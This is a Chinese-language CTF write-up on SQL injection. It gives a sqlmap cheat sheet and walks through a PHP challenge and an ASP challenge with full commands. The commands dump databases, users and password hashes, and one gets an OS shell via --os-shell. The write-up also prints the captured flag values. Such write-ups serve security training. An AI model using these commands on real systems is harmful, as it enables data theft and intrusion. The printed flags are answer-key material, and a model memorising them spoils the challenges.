CTF中的普通SQL注入題分析
在CTF比賽中一定會存在一道SQL注入題,SQL注入作為OWASP中排名第一的高危漏洞,作為網絡攻防對抗最熱門的技術知識,在很多大型CTF比賽中都會出現考題,雖然形勢有所變化,但萬變不離其宗,只要掌握了核心知識,就能從容應對。
一、SQL注入解題思路
存在SQL注入的題目,基本都會有參數傳入,比如index.php?id=1這類的,其主要思路如下:
1.認真閱讀題目,一般來講CTF比賽都會或多或少給出一些提示。因此要從字里行間去體會,這個需要經驗的記錄。
2.對目標地址進行漏洞掃描。可以通過AWVS等工具進行漏洞掃描,如果存在SQL注入一般都能掃描到。不過使用掃描工具特別耗費時間,在CTF比賽中時間很寶貴。
3.直接對目標進行手工測試。針對不同類型編程語言,進行手工注冊測試,確認存在漏洞后,可以使用sqlmap進行快速利用。
4.使用sqlmap來進行注入漏洞的測試及數據獲取。
二、SQL注入方法
1.使用havij注入工具進行url地址注入測試
2.使用pangonlin注入攻擊進行url地址注入測試
3.使用WebCruiser進行掃描并進行url注入測試
4.sqlmap注入常用命令
(1)列數據庫信息:--dbs
(2)web當前使用的數據庫--current-db
(3)web數據庫使用賬戶 --current-user
(4)列出sqlserver所有用戶 --users
(5)數據庫賬戶與密碼 --passwords
(6)指定庫名列出所有表 -D database --tables
-D:指定數據庫名稱
(7)指定庫名表名列出所有字段 -D antian365 -T admin --columns
-T:指定要列出字段的表
(8)指定庫名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C "email,Username,userpassword" --dump
可加雙引號,也可不加雙引號。
(9)導出多少條數據
-D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
參數:
--start:指定開始的行
--stop:指定結束的行
此條命令的含義為:導出數據庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數據內容。
三、ctf實戰php sql注入
1.題目分析
目標地址:http://106.75.114.94:9005/index.php?id=1,如圖1所示,提示flag在數據庫中,根據這個信息判斷,該題考查的為sql注入。
圖1題目分析
2.使用sqlmap進行sql注入測試
(1)確認sql注入漏洞
執行命令:sqlmap.py -u http://106.75.114.94:9005/index.php?id=1,如圖2所示,sqlmap識別出get參數存在三種類型的sql注入,數據庫為MySQL,操作系統為Linux。
圖2確認sql注入漏洞
(2)排除系統數據庫,獲取所有數據
執行命令sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -a --exclude-sysdbs,獲取所有的數據,除系統數據庫外,如圖3所示,該方法適合懶人。
圖3獲取所有數據
3.獲取flag
在sqlmap執行完畢后,可以查看其數據庫中的內容,如圖4所示,成功獲取其flag值:flag{b4d933ca-e1cc-43ef-80de-0749b0a2a8fe}。
圖4獲取flag值
4.總結
前面提及的方法是最簡便,最省事的一種獲取方法,如果數據庫中數據太多,前面的方法就比較耗費時間。常規解題思路為:
(1)sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --dbs --is-dba --current-user
(2)root賬號可以直接獲取webshell
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --os-shell
(3)獲取數據庫表
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli --tables
(4)看表列名
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --columns
(5)導出數據內容
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --dump
四、ctf實戰asp sql注入
對于提供了參數的url地址來講,其sql注入相對簡單,直接使用sqlmap就可以搞定,關鍵必須熟悉sqlmap的常用命令。在本題中給出的是asp編程腳本站點,題目地址為:http://10.2.66.50:8133/show.asp?id=2。
1.漏洞點測試
執行python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2,如圖5所示,sqlmap對注入點進行漏洞測試。
圖5進行漏洞測試
2.獲取數據庫名稱
執行命令python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db,如圖6所示,可以看到參數id存在三種類型的sql注入漏洞,其當前數據庫名稱為“tourdata”。
圖6獲取數據庫名稱及漏洞類型
3.獲取表名
python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata --tables,如圖7所示,可以看到數據庫類型為Microsoft SQL Server 2000,操作系統為Windows 2003 or XP,數據庫中共有四個表,其中有三個表為系統表,news為目標表。
圖7獲取數據庫表
4.獲取數據內容
執行命令sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --columns來獲取列名,也可以只用sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --dump命令直接獲取數據庫表news中的所有內容,如圖8所示,成功獲取flag值為:52c6f1d691661456b3f51d2760179209。
圖8獲取flag值